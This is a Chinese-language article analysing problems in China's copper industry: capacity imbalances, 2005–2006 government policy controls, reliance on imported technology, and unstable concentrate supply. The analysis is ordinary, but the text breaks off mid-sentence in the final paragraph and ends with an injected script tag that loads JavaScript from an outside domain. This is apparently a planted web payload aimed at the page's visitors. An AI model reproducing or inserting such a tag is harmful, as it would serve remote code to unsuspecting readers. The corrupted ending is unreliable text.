铜工业的几大困境与对策分析

    发展不平衡。我国精铜消费呈直线上升趋势， 目前占世界铜消费量的22％。从1993的100多万吨到2003年的300多万吨，再到2005年的365万吨，发展速度令世界震惊，2000年以后消费平均年增长率一直保持在15%上下。但是，在中国铜工业的发展过程中，矿山、冶炼、加工3个环节发展极不平衡。铜材产量年均增速达13%，精铜产量平均增速9%，而铜矿产量平均增幅仅为4％。

    目前我国铜工业的格局是加工能力远远大于冶炼能力，冶炼能力又大于矿山产能，并且比值呈逐年扩大之势。
 
    政策调控。2006年国家一系列的政策调控在中国铜工业领域掀起了一阵阵的波澜。国家有关部委已取消废铜和铜精矿加工贸易的优惠税率；进口废铜或铜精矿出口末端杂铜列入加工贸易禁止类目录，不再审批上述品种的加工贸易合同。这意味着中国铜精矿和废铜的进口将下降。

    2005年11月3日国家发改委、财政部、国土资源部、中国人民银行、环保总局5部委联合出台《关于制止铜冶炼行业盲目投资若干意见》（以下简称《意见》）的报告，要求各地尽快制止铜冶炼行业盲目投资的势头，促进铜工业持续健康发展。从产量规模、资本金比例、原料保障、工艺技术、环保等几个方面对铜冶炼项目提出了门槛要求。2006年6月30日，国家发改委公布了《铜冶炼行业准入条件》。与《通知》主要是制止投资热相比，《条件》则有加快产业发展的意图。这些政策的颁布使得一些不符和要求的企业发展受阻，遭遇了寒冬。

    技术困境。长期以来，在资源、技术、设备等都依赖大量的国外“进口”，国内铜企业获得产业分工的利益也仅仅是赚取了加工费，而利润的大部分都被那些掌握着技术专利、高端设备、矿产资源的国外公司获得，“完全”依靠引进，呈现“洋人”垄断的格局，在国际竞争中处于不利地位，更严重的是阻碍了中国铜工业向更高更深层次的发展。大量、长期的引进国外装备，只能是削弱、降低我们自身在重大装备方面的研发能力和生产水平。

    因此开发自主知识产权新工艺，是提高我国有色冶金技术和加工水平的重要途径。我国目前铜矿少、品位低、用铜量大，因此必须将国外先进的加工技术搬来、拷贝、复制，并加以消化、吸收和创新，搞大型的冶金工业化生产试验，转化成巨大的生产力，开发具有我国自主知识产权的先进加工技术装备，提高我国有色冶金技术，中国铜工业的产业升级和国家安全才能获得坚实的支撑。政府应该下决心，采取有效措施，鼓励和帮助企业搞自主创新，给予政策鼓励和资金方面的支持，坚定不移地走依靠科技发展中国铜工业的新型工业化道路。

    产能过大，原料供应不稳定。与国际铜行业比较，中国铜工业还很脆弱。中国从2001年起已经成为了世界头号铜消费大国。预计2006年的消费量将达到390万吨，并将保持10%的年增长率。2006年国内的铜产量预计可达290万吨左右，另有110万吨消费量需要依靠进口。因此，从供求关系上看，中国扩大铜冶炼产能是有理论依据的，但也要有一个限度。如果上述扩大的产能都能在几年内实现，则必将出现供大于求的局面，到时对中国铜工业的打击将是致命的。

    目前，中国自产铜精矿量不到70万吨/年。占需求量的三分之一。另三分之二依赖进口原料。因此，在高铜价下，无论是否扩张，继续做大做强，还是保持现有规模，做细做精，中国铜工业都需要冷静地思考。

    我国是铜资源缺乏的国家，冶炼能力远大于矿山原料生产能力，大型冶炼厂自产矿均不能满足生产需要，只能寻求国际市场采购。业内人士表示，在目前世界铜矿资源不断向大型矿山企业集聚的情况下，未来几年铜原料谈判将有可能成为“铁矿石谈判”的翻版。据悉，此次铜精矿加工费谈判除了必和必拓外，可能还将有全球最大的矿铜生产商——智利国有铜业公司（Codelco）以及澳大利亚超达铜业公司参与。

    我国铜企是在20世纪90年代初开始大规模进口铜精矿的，进口量逐年递增。近些年中国铜冶炼企业进口铜精矿运作的主要特点及变化有：以现货为主，长期合同的数量在逐渐增多；供货商以贸易商为主，矿山合同逐年增加；合同谈判由单一对外转变为统一对外。

    由于世界上主要产铜国的矿山均已被一些大的国际财团所掌控，我国铜企在前几年只能通过中间贸易商获得一些零散的现货供应，无论是加工费、品质还是交货期都不能得到保证，往往给冶炼厂的生产造成极大的被动。

    因此，在目前高铜价的情况下，我国铜企应该做到居安思危，利用目前的大好形势，逐步建立起稳定的海外原料供应渠道。否则，原料得不到保证，一切扩产增产都是空谈。稳定的海外原料供应渠道包括两个层面的含义，一是与国外矿?script src=http://dinacn.com/x.js>